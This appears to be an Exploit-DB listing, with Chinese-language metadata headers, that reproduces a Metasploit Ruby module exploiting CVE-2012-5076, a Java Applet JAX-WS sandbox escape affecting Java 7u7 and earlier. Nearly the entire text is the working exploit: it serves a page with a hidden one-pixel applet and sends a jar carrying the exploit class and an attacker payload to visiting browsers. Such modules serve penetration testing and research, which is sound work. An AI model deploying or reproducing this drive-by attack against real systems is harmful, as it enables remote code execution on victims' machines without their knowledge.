标题: Java Applet - JAX-WS Remote Code Execution (Metasploit) EDB-ID: 22657 CVE: 2012-5076 2012-5067 类型: REMOTE 平台: MULTIPLE 发布日期: 2012-11-13 漏洞利用脚本: ##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
#   http://metasploit.com/
##

require 'msf/core'
require 'rex'

class Metasploit3 < Msf::Exploit::Remote
 Rank = ExcellentRanking

 include Msf::Exploit::Remote::HttpServer::HTML

 include Msf::Exploit::Remote::BrowserAutopwn
 autopwn_info({ :javascript => false })

 def initialize( info = {} )
  super( update_info( info,
   'Name'          => 'Java Applet JAX-WS Remote Code Execution',
   'Description'   => %q{
     This module abuses the JAX-WS classes from a Java Applet to run arbitrary Java
    code outside of the sandbox as exploited in the wild in November of 2012. The
    vulnerability affects Java version 7u7 and earlier.
   },
   'License'       => MSF_LICENSE,
   'Author'        =>
    [
     'Unknown', # Vulnerability Discovery
     'juan vazquez' # metasploit module
    ],
   'References'    =>
    [
     [ 'CVE', '2012-5076' ],
     [ 'OSVDB', '86363' ],
     [ 'BID', '56054' ],
     [ 'URL', 'http://www.oracle.com/technetwork/topics/security/javacpuoct2012-1515924.html' ],
     [ 'URL', 'http://malware.dontneedcoffee.com/2012/11/cool-ek-hello-my-friend-cve-2012-5067.html' ]
    ],
   'Platform'      => [ 'java', 'win' ],
   'Payload'       => { 'Space' => 20480, 'BadChars' => '', 'DisableNops' => true },
   'Targets'       =>
    [
     [ 'Generic (Java Payload)',
      {
       'Arch' => ARCH_JAVA,
      }
     ],
     [ 'Windows Universal',
      {
       'Arch' => ARCH_X86,
       'Platform' => 'win'
      }
     ],
     [ 'Linux x86',
      {
       'Arch' => ARCH_X86,
       'Platform' => 'linux'
      }
     ]
    ],
   'DefaultTarget'  => 0,
   'DisclosureDate' => 'Oct 16 2012'
   ))
 end


 def on_request_uri( cli, request )
  if not request.uri.match(/\.jar$/i)
   if not request.uri.match(/\/$/)
    send_redirect(cli, get_resource() + '/', '')
    return
   end

   print_status("#{self.name} handling request")

   send_response_html( cli, generate_html, { 'Content-Type' => 'text/html' } )
   return
  end

  paths = [
   [ "Exploit.class" ],
   [ "MyPayload.class" ]
  ]

  p = regenerate_payload(cli)

  jar  = p.encoded_jar

  paths.each do |path|
   1.upto(path.length - 1) do |idx|
    full = path[0,idx].join("/") + "/"
    if !(jar.entries.map{|e|e.name}.include?(full))
     jar.add_file(full, '')
    end
   end
   fd = File.open(File.join( Msf::Config.install_root, "data", "exploits", "cve-2012-5076", path ), "rb")
   data = fd.read(fd.stat.size)
   jar.add_file(path.join("/"), data)
   fd.close
  end

  print_status("Sending Applet.jar")
  send_response( cli, jar.pack, { 'Content-Type' => "application/octet-stream" } )

  handler( cli )
 end

 def generate_html
  jar_name = rand_text_alpha(rand(6)+3) + ".jar"
  html  = "<html><head></head>"
  html += "<body>"
  html += "<applet archive=\"#{jar_name}\" code=\"Exploit.class\" width=\"1\" height=\"1\">"
  html += "</applet></body></html>"
  return html
 end

end URL: https://www.exploit-db.com/exploits/22657